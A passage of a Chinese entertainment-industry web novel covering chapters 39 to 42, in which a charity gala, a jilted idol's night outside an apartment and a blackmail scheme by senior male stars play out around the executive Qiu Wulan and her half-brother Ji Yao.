她紧绷至极,被不进则退的娱乐圈压得喘不过气。 那对昂贵的耳坠告诉她,不用焦虑、不用担心,即便业绩下滑,公司——至少邱芜澜也依旧重视她。 锦上添花的回报率当然小,可季尧清楚,邱芜澜完全有能力完成一场“救赎”。 她没有这样做。 不管出于什么原因,她没有去把金字塔上的人拉下来,上演人为的雪中送炭,而是关注了真正的弱势群体。 季尧眼中的邱芜澜,远比她自以为的要温柔多情。 也正是这份温柔,一夜之间,他被邱芜澜骤然抛弃。 她明明喜欢他带来的利益,却无法背弃早已离世的母亲。 季尧喝了口手中的香槟。 玻璃杯中,潋滟的酒水倒映出他的眉眼。 小三的孩子。 他永远洗刷不掉这份罪名。 七点十五,主持人进了场,来宾却还没有完全就位。 会厅外的洗手间里,季语薇在镜子前补上口红。 她来得有点早,被拉着应酬了一番,口红被酒蹭掉了大半。 合上盖子,她正准备回去,超高跟的声音自外而近。 纯白高定西装的宋折凝与一身黑色短礼服的季语薇正面相遇。 季语薇笑了,“宋姐,好久不见。” 宋折凝短暂错愕后,迅速管理好表情。 “这不语薇么,难得见你一身黑啊。” “是啊,我从前不敢穿黑。”季语薇提了提裙摆,“那天在公司,看见瑚城3D巨屏里您的口红广告,一下子就喜欢上了,想着我能不能也试一下黑色呢。” 她低头看了看自己的裙子,“现在看着,也还可以。” 宋折凝脸色微沉,挑眉审视着季语薇,“是还可以。不过你那代言接的不好,钻石大跳水。人们都说黄金老气,到头来,还得是真金。” 季语薇嫣然,“以前年纪小,撑不起黄金。您这么一说,我是该去试试从前不敢尝试的东西了。” “您用吧。”她侧身让道,笑意盈盈,“我得回芜澜那里了。” 第40章 第四十章 季语薇从洗手间出来, 径直走去邱芜澜身边落座。 以往那个位置是秋叶一姐宋折凝专属。 几乎是在季语薇坐下的那一刻,宋折凝也进入了会场。 她坐在距离邱芜澜最远的侧翼,和秋叶娱乐的席位保持相当远的距离。 这一幕充满了话题和爆点, 记者们连忙按下快门,近景、远景、录像全部安排上。 主持人开幕后, 由邱芜澜致辞。 她走上了台,留在桌面上的手机倏地弹出一条又一条消息, 震个不停。 季尧扫过,季语薇笑道,“她的新朋友?” 季尧没有动手机, 季语薇伸手, 把它拿了过来。 她对着台上演讲的邱芜澜晃了晃手机, 在得到邱芜澜漫不经心的一瞥后, 欣然划开屏幕, 浏览起弹出的对话框。 看着上面每隔几秒就多出一条的新消息, 季语薇抵着下巴, 兴味盎然地按下语音键。 季尧侧头,看见季语薇凑在手机前,用华丽磁性的男声回复道:“芜澜在忙。她知道了, 让你回去好好休息。” 说完, 她盯着屏幕扑哧粲笑, 将手机放回邱芜澜的席位,倒扣屏幕。 她顺过耳边的碎发, 坐在最中心的席位上, 专注地望着台上的邱芜澜,表情优雅甜美,唯独眼底铺了一层细碎的戏谑。 等邱芜澜演讲结束, 回到座位上,她翻开倒扣的手机看了眼,面不改色地将它倒扣回去,认真听着主持讲话。 季语薇微不可察地勾唇,笑容与当年猜中邱芜澜高中志愿时如出一辙:得意且窃喜。 季尧将这一切收入眼中。 邱芜澜还没有把韩尘霄正式介绍给自己的亲朋好友,大家知道他很特别,却没有人清楚韩尘霄到底有多特别。 现在,他和季语薇都清楚韩尘霄的分量了—— 比之前的那些要重一点,可远在季语薇之下。 收回目光之时,季尧触到了季语薇的视线。 她如同巡览国民的皇后,对他行了一个浅浅的抚胸礼。 这一礼结束,季语薇回正视线,收敛一切小动作,稳静地在位子上坐到了最后。 在季尧还没有被邱芜澜抛弃的时候,他曾在她的要求下,研究、观察了多年季语薇。 邱芜澜称她为自己的试验田。 她从季语薇身上得到最直观的消费心理,通过观察、试验,她将这些物欲化作一个个商业创意、营销手段,又反哺到季语薇身上对她进行调整、修正。 多年来,季语薇像是一个锁住四肢、囚禁于笼的试药人,被邱芜澜掐着下巴,灌进了无数甜蜜的毒药。 她宠爱她、纵容她,因为季语薇的完美,也因邱芜澜自己都没有察觉的那一分愧疚。 在季尧看来,那分愧疚不仅是因为姐姐仁慈善良,也是人为引导的结果。 正如邱芜澜判断的那样,“季语薇很清醒”。 她清醒地知道邱芜澜需要她做什么,她是自己走进笼子,自己给自己套上锁链。 她牺牲时间精力,换取了名利双收。 这本是一个正常的雇佣关系,雇佣者付出金钱,被雇佣者付出劳动。 邱芜澜绝不欠她,季语薇得到的远比她付出的要多,可她却不断摆出受害者的姿态,一而再再而三地暗示邱芜澜—— 她在压榨她,她毁了她。 她要邱芜澜时刻意识到:她穿她的衣服、戴她的饰品、模仿她的发型,皆因邱芜澜扭曲了她的三观;邱芜澜必须为此负责,用更多、更丰厚的财富填补由她一手造成的扭曲拜金心理。 季尧望着灯火辉煌的台上,瞳孔微微涣散,眼底苍茫而虚无。 姐姐,太善良了。 处在权力的旋涡之中,她却背负了善意,以至于母亲去世的当年,身处叛逆期的少女,竟然能冷静地对待登门的小三、理智地看待小三带来的孩子。 十几岁的邱芜澜就已明白,母亲的死和任何人都没有关系,如果非要指责某一个人,那么比起季葶和季尧,邱岸山才更合适。 她是如此的公正、客观、理性、高洁,完美如神祇,却被两个弟弟指责冷血,被哥哥判定为了利益不择手段、泯灭了良知。 她愚蠢、幼稚的血亲们根本不懂她,她只是成熟理性地没有迁怒无辜者而已。 微弱的刺痛穿过太阳穴。 季尧甩了甩昏胀的头,再度抬眸,邱芜澜身边的季语薇消失了,剩下一团灼热的漆黑。 那团黑色黏腻地燃烧着,如同深海的触角,贪婪、邪恶、蠢蠢欲动地试图触碰邱芜澜,将她吞噬包裹。 季尧环顾四周,整个会场都没了人影,只有一团团燃烧着的色块,或黑或红,或大或小,或冰冷,或灼热。 它们形态迥异,却无一例外,全部紧盯着邱芜澜,随时准备将她吞吃入腹。 季尧感到惶恐、感到躁戾,他十指律动着,试图抓到点什么——消防水枪、灭火器,又或者只是身前的餐刀。 无论什么都好,他需要扑灭这些蠢蠢欲动、时刻窥伺姐姐的威胁。 “怎么了。”清冷的声音拂过耳畔。 季尧闭了闭眼,再度睁眸,几个闪烁的雪花屏后,一道道光鲜亮丽的人影又回归了视野。 他转头,对上邱芜澜关切的眼眸。 “人太多,有点闷。”他道。 “回去吧。”邱芜澜说,“自己打个车?” 季尧摇头。 他不能离开,邱芜澜四周有太多觊觎的视线。 哪怕如今他成了毫无用处的花瓶偶像,再无任何话语权,他也必须待在姐姐身边,替她探查危险。 四个小时的慈善晚会结束,季语薇腻在邱芜澜身边,蹭她的车回去。 她是自己坐车来的,一到会场就让助理开车回去了。 “小唐毕竟是女孩子,太晚回去不安全,我让她先走了,一会儿能麻烦你捎我回去么。” 季语薇总是这样温柔,在内在外都有美名。 邻席的人听了暗中赞叹,邱芜澜也没有理由拒绝。 去地下车库只有一个出口,他们在电梯间与宋折凝碰了面。 正值散场,电梯久久未来,空气里若有若无夹带窃窃私语。 谁也没有开口向对方打招呼,各自站在两扇电梯门前。 今天的邱芜澜脱下了贯穿的素色西装, 今天的宋折凝穿着一身纯白的西装高定。 季语薇莞尔,她忽而上前,挽住了邱芜澜的胳膊。 她歪头,俏皮而自然地倚在邱芜澜肩上,抱怨电梯:“怎么这么慢呀。” 宋折凝身边的助理瞄了她一眼,不是众人都认识的经纪人岚,而是从前给岚打下手的芳若。 “干什么,”芳若刚刚探头,宋折凝便轻斥,“歪歪斜斜的,站好。” 芳若无奈地回正身体,眼观鼻鼻观心。 悠悠的笑声自侧边传出,季语薇的笑宛如弦颤,美得推散了空中的窃窃私语。 所有人的目光都汇集于她一身,她在众人的注目下半掩嘴唇,浅浅地打了个哈欠。 她玩着自己的发梢,和邱芜澜的缠在一起。 环境安静得诡异。 直到电梯打开,一方先行离场。 季语薇偏头同邱芜澜咬耳朵,“我以为你会继续当个‘大格局’的老板,主动向她打招呼。” 即将进入寒冷的室外,灰色的西装外套先一步罩在了邱芜澜肩上,她对给自己披外套的季尧颔首,一边回答了季语薇。 “我又不贱。” 季语薇吃吃地笑。 邱芜澜察觉出了点什么,“你不喜欢宋折凝?” “我恨她,”季语薇收紧了邱芜澜的手臂,呢喃自语,“我对她的恨,由来已久了。” 简先送季语薇回去,快到回到别墅时,接到了市区公寓物业的电话,物业称有一个年轻男人在邱芜澜门口蹲了两个小时,问她是否认识。 “叫什么名字?”简问物业。 “他说他叫…韩尘霄。” 简回头望向后座的邱芜澜。 邱芜澜披着季尧的西装,靠在他怀里半梦半醒地小睡,没有听清简说了什么。 季尧替简重复了一遍,“姐姐,尘霄哥在公寓门口等你。” 邱芜澜转头,埋进更舒适的区域。 她拢紧身上的西装外套,闭着眼,困倦喃喃,“随他去。” 二十多岁的男人了,该长点记性。 季尧脑中那一丝疼痛骤然消散,前所未有的舒缓安宁。 他弯眸,与邱芜澜靠得更紧。 临近过年,后半夜飞起了小雪。 别墅中的智能管家已提前打开了暖气,季尧将邱芜澜从车中抱出,轻柔地放去床上。 上楼梯的过程中,邱芜澜倏地睁眸,凌厉地看向抱着自己的人。 看见季尧的脸后,她复又松弛下来,闭上眼睛昏昏睡去。 邱芜澜不喜欢身体腾空、交由别人控制的感觉,但如果是季尧,那还算能够忍耐。 目前为止,他没有背叛的迹象,可以信赖。 电热毯提前开了半小时,邱芜澜躺进丝滑的床铺里,被温暖包裹。 季尧开了床头的小灯,打了温水替她卸妆、换衣。 收拾好一切,他熄灭床头灯,为邱芜澜掖好被子。 正欲离开,睡梦中的邱芜澜惺忪呓语:“什么声音……” 季尧望向窗外被冬风拉扯的树梢,轻声回答,“没什么,姐姐,只是刮风下雪了。” 邱芜澜缓缓睁眸,她从暖融融的被子里伸出手臂,揽住了季尧的后脑。 “回去太冷了,”那只手轻柔地抚摸季尧的发丝,“在这里睡吧。” 窗外的风呼啸而过。 因季尧在晚会上的那一句“有点不舒服”,邱芜澜打破了自己疏远季尧的决心。 比弟弟独立更重要的,是弟弟的健康。 季尧愣怔着,一股滚烫的激流荡涤过全身,他的十指莫名颤栗。 另类的喜悦和兴奋使季尧如同小狗打喷嚏一样,浑身哆嗦了一下。 他清洗干净自己,轻手轻脚地去了另一侧躺下。 几分钟后,邱芜澜翻过身,抱着他的头颈,将他搂入怀里。 少年用鼻尖亲昵地磨蹭她的锁骨,被邱芜澜不轻不重地扯了扯发根制止。 她锁着他,像是孩童抱住了完全属于自己的娃娃,这种绝对的拥有感,令人无比安心。 小雪飘飞了半宿,腊八节左右,正是一年最冷的时候。 凌晨五点半,秋叶娱乐附近的公寓小区,保洁们开始了楼道清洁。 9栋楼道里,阿姨提着扫把畚斗上楼,猝不及防在业主门前看见了一团人影。 高大的青年抱着膝盖,歪头睡在门口。 她吓了一跳,低呼出声,青年霍然睁眼,从地上爬起。 “哎呦,吓死我了。”保洁拍着胸口,“你是什么人啊,怎么蹲人家门口。” 韩尘霄怔怔张嘴,扭头看了眼身后紧闭的房门,冻得发紫的手僵硬地从口袋取出手机。 凌晨五点半,联系界面上空空荡荡,没有任何消息。 “你到底是什么人啊,”保洁伸出了扫把,提防地指向他,“我要叫保安了啊。” “别、别,”韩尘霄躬身道歉,钻进电梯,“不好意思,我这就离开。” 走出公寓,迎面的风雪砭骨袭来。 他哆嗦了一下,望向漆黑的黎明,醉宿后的眼中布满血丝,红肿且迷惘。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第四十一章 冬日升起之前, 邱芜澜出现在了秋叶娱乐26层。 副总裁办公室门口立着一抹颀长的身影。 随着她靠近,对方小心翼翼地低唤:“芜…邱总。” “这么早。”邱芜澜握住门把,由秋叶集团研发的新一代智能锁扫描过她的指纹, 解开了门锁。 她推门而入,韩尘霄亦步亦趋地跟在她身后。 邱芜澜往前走了几步, 倏尔回眸,瞥向韩尘霄。 韩尘霄踌躇地与她对望, “邱总,我…” 邱芜澜点了点下他身后的空调面板,韩尘霄慢半拍地反应过来, 匆忙去开。 她脱下外套, 落座后问:“怎么了。” 韩尘霄愣怔地揣摩邱芜澜的脸色, 他以为邱芜澜是生气的, 生气他爽约、失踪失联。 韩尘霄当然没有忘记邱芜澜的邀约, 他谨记着昨天的晚会, 莫导的生日过了上半场, 韩尘霄便准备回瑚城。 他还是不太适应推杯换盏的场合,可以应付,但身心俱疲。 下半场莫导和几个老友离开了, 剩下的人们三三两两形成了小团体, 韩尘霄没有特别交好的朋友, 正要离场,忽然被人拉住。 “小韩。”拉他的是一起录过综艺的前辈, “走走走, 跟我们一起。” 他们一群人兴致高昂,闹哄哄地往外走。韩尘霄问了句:“去哪儿?” “勤文哥请客,一起喝点儿。” “不了哥, ”韩尘霄推拒,“我一会儿还要赶回瑚城的高铁。” 男人搂着他的肩膀,不耐烦地“哎呀”了一声,“这么近,一会儿找个司机送你回去。” 韩尘霄还想再推,对方勾着他的脖子,压低了声音,半是提醒半是逼迫,“出道才几年啊,驳勤文哥的面子,你还混不混了?” 韩尘霄斜了眼人群前方,众星拱月的男人。 男偶这个赛道里,梁勤文是第一梯队中的顶流。 这是对方第一次邀请他,作为后辈,韩尘霄没法强推。 他跟着去了。 灯红酒绿的包房里,音乐声响得耳痛。 韩尘霄坐在角落,面临一室混乱。 他不介意过大的音乐,但这男男女女混乱糜烂的场景,韩尘霄找不到一丝乐趣可言。 他时不时看一眼手机时间,盘算着再熬一会儿就道谢离开。 行业里的大前辈给他面子,这是结交的好机会,他来到莫导的生日会,本也是奔着社交的目的而来。 可有些事,不喜欢就是不喜欢。 刺耳的喧嚣中,韩尘霄豁然开朗,他来到这里,不过是崇拜作祟。 华君润的确厉害,但他未必非要走他所有走过的路、吃他所有吃过的苦。 他和他是不同的,至少他不会像华君润那样离开秋叶。 混杂的臭气、轻浮的调笑令韩尘霄愈发思念邱芜澜。 她是那样干净,似新雪中亭亭而立的兰,高雅地、淡然地俯瞰世间,任何尘埃都入不了她的眼。 他实在无法忍受,想要回去,屏幕上却突然放起了RNI的出道曲。 熟悉的旋律让韩尘霄怔了一下,欢呼从主位传来,梁勤文身边的几个歌手鼓着掌笑喊着,“小韩,来一个小韩!” 韩尘霄张口,不等说话,包间里的人都附和着呐喊了起来,“看看我们未来的大明星!”“韩队长唱一个!” 这短短半分钟的前奏,空气愈发浑浊难闻。 一张张笑脸对着韩尘霄,笑容里塞满了嘲弄、戏谑和玩味,几个年轻点的男rapper站在座位上顶着胯,怪声怪气地唱念着几句副歌歌词,周围的掌声和呼啸噪杂尖利。 话筒不由分说地塞进了韩尘霄手中,他被拉拽去了台前。 “唱一个唱一个!”拉着他的人指着站在座位上的歌手们,“几位前辈都给你热场了,快唱一个!” 韩尘霄没有选择。 光怪陆离感笼罩了他。 他握着话筒,站在搂着女伴、似笑非笑的梁勤文面前,红紫灰绿的快闪灯射在他身上,莫名感到恍惚。 她也曾将他推去灯下,勾散他的衣衫,笑吟吟地对他说:“给我跳支舞”。 相似的情形,相同的话语,为何在邱芜澜面前他没有感受到半分耻辱。 韩尘霄无法推却。 他“唱了一个”,然后是第二首、第三首,每一次唱完,都是一圈敬酒。 一圈二十多人,到最后韩尘霄记不得自己唱了多久、喝了多少。 等他醒来,自己正在陌生的酒店,窗外是下落的残阳。 宿醉后的大脑生涩剧痛,他对着温暖的余晖发了会儿呆,在床头摸到了自己的手机。 按了几次主页键,屏幕都漆黑一片。 对着屏幕倒映出的脸,韩尘霄猛地惊醒了过来。 他翻身坐起,长按开机键后,显示电量耗尽。 倒映在屏幕中的人脸惊惧恐慌,韩尘霄折腰去床头找充电器,三四个接头并在一起,他捏住和自己手机匹配的接口,汗湿的手指一抖,接头从半空掉落。 他捡了起来,对准了几次,才把接头插.入手机。 亮起充电图标的瞬间,他急忙按下开机键。 开机音、开机画面、重启后指纹锁失效、输入数字密码、界面加载…… 主界面出现的瞬间,密密麻麻的消息弹满了状态栏。 未接电话、未读信息堆积数页,韩尘霄没来得及关注那些消息,对着屏幕上“17:43”的时间,大脑空白了一霎。 待他回神,想要点开最新一条消息时,“电量低”的提示跳了出来,手机自动关机。 韩尘霄接连按了几次开机键,每一次跳出的都是无电提醒。 他丢开充电中的手机跑进浴室仓促地洗漱、穿衣,随后冲出房间,去前台扫了个充电宝往瑚城赶。 六点钟,正值晚高峰。 充着电的手机微微发热,当韩尘霄再度开机成功,唐知行的电话立刻打了进来。 “小祖宗,你在哪儿啊你!”甫一接通,劈头盖脸的低吼捅入韩尘霄耳中,“我找你找疯了,你干什么去了!忘记今天七点要干什么了啊!” “我知道、我知道唐哥。”韩尘霄抬头看了眼一动不动的车队,“我过来了,我马上到,路上有点堵,可能要晚二十分钟……” “你和我说有什么用!”唐知行崩溃,“邱总会等你二十分钟吗?这可是她第一次公开带你!你知道这意味着什么吗?现在好了,季尧过去了!” “我错…对不起唐哥。”韩尘霄侧身,望了眼看不见尽头的车龙,对着司机示意了一下,推开车门,徒步朝高铁站跑去。 “你一直很靠谱,这次是怎么了。”唐知行骂累了,“算了算了,你就告诉我,什么时候能到,我现在去和邱总说。” “三十分钟的高铁,您告诉邱总,我直接去会场!” 等他上了高铁,唐知行便打电话过来,告诉他,邱芜澜已经和季尧走了,让他不用过来。 他臭骂了韩尘霄一顿,韩尘霄依旧去了会场。 他被拦在门外,拿不出邀请函。 邱芜澜不喜欢工作以外的电话语音,他就给她发消息,向她道歉、告诉她自己已经到了,就在门口。 无数消息石沉大海,他立在会场外的路灯下,距离第一条消息发出到现在已经近两个小时。 冬风吹得他手指有些发僵,打字的速度变慢,时不时按键错位,删了重拼。 绿色的对框话滚了两三页,忽然,一条语音传来。 韩尘霄急忙点开。 陌生的男音回复了他,那声音华丽至极,优雅醇美。 韩尘霄脑海中瞬间划过几张面孔。 不,不是演员,这个发音方式不太像是演员; 他也没听说这样的男歌手、男主持…… 几个热门男cv的身影又出现在韩尘霄眼前。 他对cv了解不多,只偶尔听见季尧打游戏,这一条语音的声调,更接近游戏角色的配音。 惑人的男音萦绕在耳畔,韩尘霄咬着下唇,他意识到,邱芜澜不是没有看到消息,只是不想理他而已。 看了眼围在附近的记者,韩尘霄不想给邱芜澜惹麻烦。他低下头,提高口罩,转身往邱芜澜在《做客》里公开的住址而去。 他不知道那只是邱芜澜应付节目的地方,在她门口坐了一宿。 凌晨过后,巡楼的小区保安发现了他,要求他立刻离开。 听到韩尘霄说他和业主认识,保安将信将疑地拨通了这户业主预留的号码。 “人家说不认识你。”挂断电话的保安拧着眉呵斥,“快走快走!不然我报警了!” 韩尘霄懵了。 他像是被当头棒喝,砸得一片茫然。 她说她不认识他,她很生气。 他不能走,他必须马上向她道歉。 假意离开之后,等保安走开,韩尘霄再度摸了回来。 整一夜,他都没能等到邱芜澜,于是在天亮之前又去了她办公室门口等待。 他准备了七.八版道歉,邱芜澜应该不会骂他,她极有可能对他视而不见,韩尘霄做好了被冷脸无视的准备,可当他见到她,她却态度自然地和他打招呼、问他有什么事。 “怎么了?” 怎么了…… 韩尘霄怔忪地看着办公桌后的女人。 她一如他所想的那样,高雅地、淡然地俯瞰世间,任何尘埃都入不了她的眼。 “对不起邱总,昨天,我爽约了……”张口之后,那些提前演练的道歉通通遗失,只剩下废弃的初版。 她说他们是恋人,可确定关系以来,韩尘霄从未敢有这样的错觉。 “芜澜”二字,刹那间便轻易倒回了“邱总”。 “我知道,”邱芜澜颔首,“没关系,你的经纪人提前和我说了。” “你…”韩尘霄涩然发问,“您不怪我吗。” “你很守时,签约以来还从没有迟到过。只是一次,又提前报备了,可以接受。” 她用如同宽恕的语气安慰道,“谁都有迟到的时候,下次注意就行。” 韩尘霄喉结滚动,讷讷地说不出话来。 他本想问她,昨天用她手机发语音的男人是谁、她晚上有没有接到物业的电话; 可在邱芜澜平淡的目光下,这些问题已没有了必要。 “对不起,”他低低道,“我以后不会再有了。” 邱芜澜颔首。 四周弥漫起送客的意味。 韩尘霄消沉地离开,他不知道这份失落从何而来。 回到RNI的休息室之前,他在艺人休闲厅坐了一会儿,接了杯温水,不想回去面对暴怒失望的唐知行。 温暖的纸杯暖化了僵冷的手,血液重归畅通。 他靠在角落,熏着袅袅上升的水雾,脑子里混沌杂乱,聒噪刺激的酒水夜场、路灯下那声华丽的男音,以及邱芜澜无声的送客,几个画面更迭轮换。 最后,轮转不休的画面定格在了艺人餐厅。 静谧的餐厅里,侃侃而谈的男人眉眼如玉。 他温和地倾听了他回国的意愿、肯定了他的选择,最后分享了自己的亲身经历。 这场景转瞬即逝,从韩尘霄脑中闪回了两帧,很快迅速滑走。 他也不知道自己为什么会突然想起那一幕来,隔了小半个月,华君润当时说的很多细节他都遗忘了,可他临走时抬腕看表的动作深深烙在了韩尘霄记忆里。 百达翡丽 57IIR 韩尘霄并不了解奢侈品,他知道脍炙人口的品牌名,可具体到型号,他一窍不通,看不出好坏。 他不懂名表,直到他自己也拥有了一块。 纸杯中的热雾在韩尘霄睫毛上凝结成珠,眼睑不堪负荷地颤了颤。 他汲取了这一杯水的热度,从两天的僵冷中复苏,有了站起来的力气。 嗡嗡…… 口袋里的手机传出震动。 韩尘霄放下纸杯,划开屏幕查看。 发来消息的是前天拉着他去酒吧的前辈。 “小韩,周末有个局,一起啊。” “不了哥。”韩尘霄不再犹豫,“周末有工作。” “不给面子?” “真的有事,下次吧哥。” 对面安静了下来,韩尘霄如释重负地松了口气。 他起身,准备回休息室。 在他收起手机之前,一张图片从对面发了过来。 韩尘霄粗略扫过,看清图片内容的瞬间,他怔在了原地。 “还有件事。” 邱芜澜确认过文件,在底端落下签名,“节前给RNI安排一次献血,年后再安排一次体检。” “节前么?”简确认了下时间,“就剩两周不到了。” 就剩下这么几天,又正是艺人们忙碌的时候,很难临时安插行程。 邱芜澜嗯了一声,没有改口,补充了一句,“体检之前,RNI不要安排太亲密的造型接触。” 简愣愣了下,旋即不可置信地看向邱芜澜,满目震惊。 邱芜澜道,“只是以防万一。” “六年没见了,我也不知道华君润变成了什么样——想来,应该还不至于。”她将签好字的文件夹递回给简,“让季尧回来,又不喜欢人家,天天窝在楼下干什么。” 第42章 第四十二章 翡悦, 这个梁勤文一手出资的酒吧,并不在他名下。 韩尘霄压低了鸭舌帽,尽可能将脸遮挡。 舞池里挤满了狂欢的男女, 他侧身穿过熙攘的人群,总有几步擦到滑腻的陌生皮肤。 按照对方发来的指示, 韩尘霄找到了三楼最深处的包间。 他做好了面对一室狼藉的准备,可门推开, 里头安安静静,不见一个女人,清一色眼熟的男星。 三四个年轻男艺人聚在一块儿吸烟, 中间是梁勤文, 副手是发消息拉韩尘霄来的杜陵。 “来了。”杜陵冲他扬手, 房里几个男艺人皆朝门口看去。 韩尘霄顿足, 随后沉默地朝前走去。 “裹那么严实干嘛。”杜陵起身, 摘了韩尘霄的帽子, 宽大的帽檐下是一张包裹大半张脸的黑色口罩。 “这不是机场, 都是圈子里的人,”他拍拍韩尘霄的脸,“摘了。” 韩尘霄后撤避开, 仅露出的黑眸阴沉地盯着杜陵, “我来了, 把照片删了。” “急什么,坐会儿。” 韩尘霄深深吸气。 “杜陵哥, 我不想把话说得太重。”他冷嗔着杜陵, “但你也知道我队里有谁。何况,把这种照片发出去,被毁的不只是我, 还有你。” “哊——”杜陵歪头,“厉害了,会威胁人了?” 四周响起嗤笑。 “你队里有谁啊?”杜陵笑着,“哦~季尧是吧。他是有个了不起的姐姐,问题人家在乎你么?你算哪根葱啊?” 他捶着韩尘霄的前肩,凑近了他,“我犯不着发出去,我只需要发给你老板,你猜她看了之后会怎么做?” 韩尘霄咬牙,他的外强中干被一眼识破,杜陵每一句都说中了痛处。 季尧绝不会为他撑腰;杜陵也不需要把这张照片外传,只要发送给邱芜澜,韩尘霄就会毁于一旦。 无论如何,这张照片绝不能被邱芜澜看见! “我没有得罪过你。”他压抑着愤怒,双手不自觉紧握成拳。 “我没说你得罪过我。”杜陵失笑,“想交个朋友而已。你三请四请的请不来,我只能这么做咯。” 他回到了梁勤文身边,高举起了手机。 “邱芜澜的联系方式我没有,不过季尧还是有的。” 他点开和季尧的聊天对话框,进入图片选择,一张多人照赫然出现在屏幕上,对着房内所有人转了一圈。 照片上,醉眼朦胧的韩尘霄夹在两个姑娘之间。 他搂着成熟丰腴的女人,半张脸埋在对方颈边。 拍照的是另一个年轻可爱的女孩,她坐在韩尘霄身边,远举手机,噘着嘴贴上了他露出的另半张脸,笑容甜美灿烂。 两个男艺人吹起了口哨,鼓着掌哄笑,“看不出来啊,说自己从没谈过恋爱,抱女人的姿势倒是挺顺手。” 韩尘霄脖颈涨红,“你到底想让我做什么!” “急什么,”杜陵拎起一瓶威士忌,“走一个再说。” 他一手举着手机,拇指停留在发送键上,另一只手里提着高浓度的烈酒。 韩尘霄沉默半晌,蓦地上前,一把夺过那瓶威士忌,仰头往喉咙灌去。 瓶子里的液面越来越低,周围响起掌声和叫好。 他没能喝完一半便呛得弯腰咳嗽,冷俊的脸辣得通红。 “得了。” 始终未曾出声的梁勤文笑了下,“干吹一瓶,这不糟践人呢么。” 房间静看下来,他抽了张纸递给韩尘霄,“没事吧小韩?” 韩尘霄一把接过,擦去呕出的酒水,沉沉地抬眸看向座上的梁勤文。 梁勤文勾唇,居高临下地盯着他,对杜陵道,“干喝谁受得了,来点下酒菜。” “好嘞哥。”杜陵嬉笑着出门,隔了会儿,他再度进门,身后跟了一串二十左右的年轻姑娘。 “勤文哥”“勤文哥好。”一连串娇俏的问候,像是股股新鲜的活水注入潭中。 她们鱼贯而入,裸.露出来的小腹大腿白皙紧致,瘦得不盈一握。 最漂亮的两个女孩熟稔地坐去了梁勤文左右。他伸臂搂住两人肩膀,对着韩尘霄抬了抬下巴,“认识下,RNI的队长,韩尘霄。” 两个女孩当即低呼起来,“我知道!RNI来过我们学校拍MV,当时霄霄你还给我签名了!” 韩尘霄一顿,他抬头,女孩青涩的脸即便涂有厚重的妆容,依旧掩盖不住其下的青春。 她们的眼睛是鲜活的,韩尘霄熟悉这种眼神,每次和粉丝见面,他都能收获这样闪闪发光的注视。 这份纯然的惊喜一下子将他拉回了太阳底下,他忘却了憎恶,拘谨地冲对方点头,习惯性用对待粉丝的方式向她们礼貌打招呼,“你们好。” “小韩不太会喝酒,”梁勤文懒洋洋地笑着,“你们帮帮他。” “哎呀,霄霄不会喝酒呀!好可爱~”两个女孩挽住他的手臂,将他往座上拉去,“来来来,我们先玩游戏,一边玩一边喝,很快一瓶就下去了。” 她们拥着韩尘霄在角落坐下,拿出扑克和骰子,“霄霄会玩什么游戏?” 韩尘霄不自在地正坐着,“不用,我自己坐着就好。” “别这样嘛,”两个女孩娇嗔道,“我们是听说你在才过来的,特地翘了晚自习,别那么绝情。” 韩尘霄有些意外,“你们是学生?” “对呀,隔壁传媒学校的,我们都是大一。”左边的女孩憧憬地望着他,“我就是听了霄霄你的歌才决定考艺学的,你在国外的时候我就喜欢你了,我真的特别、特别喜欢你。” “呃,谢谢。” “不用谢不用谢。”她笑着,拿起扑克,“喏,抽鬼牌好吗?你抽中了喝一杯,我们抽中的话喝两杯,怎么样?” 拿着扑克牌的十指上做着粉红色的贴钻美甲。 韩尘霄认识的女生十有八.九都会做指甲,或是长期,或是偶尔一两次,他唯独没有见过邱芜澜做。 邱芜澜的手纤长却不柔嫩,指腹带着半层薄茧,指甲修剪成干净的弧度。 她的手足够漂亮,不需要人为美妆。 韩尘霄冷冷地望着远处的梁勤文和杜陵,两人似有所感,杜陵抬手,冲着韩尘霄晃了晃手机,轻佻地咧嘴,肆无忌惮地挑衅。 “来嘛来嘛,”右边的女孩推晃着他的胳膊,“我们两个女生都不怕了,你怕什么,一起玩嘛。” 韩尘霄明白,今天这场局,自己走脱不了。 他知道这是又一个陷阱,可他不能、也不敢反抗。 提起还剩大半瓶的威士忌,他仰头灌了两口,试图早点结束这一切。 “哇呜!”浓烈的香水环绕着他,女孩们娇媚地笑道,“好棒好棒!” 梁勤文乜着角落闷头喝酒的青年,朝杜陵示意了一眼。 杜陵意会,手机摄像头从桌子底下悄悄对准了韩尘霄,留下录像。 嗡—— 原木风装修的别墅里,男人从单杠上跳下。 他赤.裸着上半身,温热的汗水顺着脊线淌下,隐入黑色的运动裤中。 三支手机排在桌上。 他拿起弹出消息的那一支,点开扫了眼传来的视频,又按灭屏幕。 华君润调整了下护腕,三十秒组间休息结束,他躺上了卧推器,开始了下一组训练。 不够。 还不够。 他细密的长睫上坠满汗珠,睫帘的阴翳下,黑色的瞳孔沉冷如海。 华君润吸着气,一次次发力,腹肌深浅起伏着,愈多汗水汇集在身下的器械上。 不够、远远不够…… 要弥补整整八岁的差距,他还需要更加努力。 一组、两组、三组。 邱芜澜俯身低头,脱手将杠铃砸在史密斯架上。 季尧从邱芜澜腋下抽手,自她身后撤步退开。 十四岁后,季尧的力量和身高逐渐超越了邱芜澜,得以为她辅助。 他拿起毛巾为邱芜澜擦汗,一边递上水杯。 “姐姐心情很好?”他问。 “新开的药效果不错。”邱芜澜喘息着,摘下湿泞的护腕,“有一段时间没有发病了。” 自她感觉性.瘾异化后,便让简约了医生,重新开了药。 最近一段时间她的身体十分乖巧,让邱芜澜顺心不少。 邱芜澜喝了两口电解质水,把杯子搁去一旁,“90公斤还是有点吃力,下次不做了。” 她扯下季尧手中的毛巾,擦拭着汗水,“你要练一会儿么,好几天没见你晨练了。” “我去公司练。”季尧将准备好的衣服交给邱芜澜,“先去准备姐姐的早餐,不吃就白练了。” “我不追求体型。”邱芜澜不甚在意,“你也是。别管唐知行,他爱说什么说什么去。” “我就没有管过他。”季尧笑道。 “你最好没有。”邱芜澜盯着他,“别再低血糖了。” 她丢下毛巾,拿了衣服进入浴室。 季尧蓦地从后抱住她,黏糊糊地埋在她颈边,“姐姐,都那么久了,怎么还在生气。” 他干爽的衣料覆在邱芜澜汗淋淋的背上,很快洇湿了半层。 邱芜澜回眸,对上少年天真纯良的眼。 她并不觉得这份纯粹全是伪装,正因这份常人没有的纯粹,季尧才能如怪物一般精准洞悉他人的想法。 